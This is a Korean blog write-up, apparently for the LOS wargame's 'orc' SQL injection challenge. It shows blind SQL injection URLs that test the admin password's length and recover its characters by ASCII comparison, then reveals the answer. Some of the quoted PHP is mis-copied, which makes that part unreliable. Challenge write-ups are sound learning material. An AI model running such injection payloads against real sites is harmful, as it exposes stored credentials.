4번 문제




쿼리문이 2개 쓰인 문제이다

  $_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";

보이는 쿼리문에서는 GET[pw] 가 addslashes 로 묶여 버려서 우회가 "절대" 불가능하다


  $query "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"

이걸 우회해야 답을 풀수 있다.


  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 

위 문장을 보면 pw가 값이 입력되야 풀리는걸 볼수있는데


즉 id는 admin 이고 그에 맞는 비밀번호를 구해야한다




https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw='or id='admin' and length(pw)<9 %23

이렇게 pw의 개수를 참 거짓이 출력되는 화면을 보고 구하고


https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw='or id='admin' and ascii(substr((pw),1,1))<100 %23

아스키 값을 입력하여 값을 하나하나 구해준다


총 길이는 8
답:295d5844




'WARGAME > LOS' 카테고리의 다른 글

[LOS] 6번 문제-darkelf  (0) 2017.12.09
[LOS] 5번 문제-wolfman  (0) 2017.12.09
[LOS] 3번 문제-goblin  (0) 2017.12.08
[LOS] 2번 문제-cobolt  (0) 2017.12.08
[LOS] 1번 문제-gremlin  (0) 2017.12.08

+ Recent posts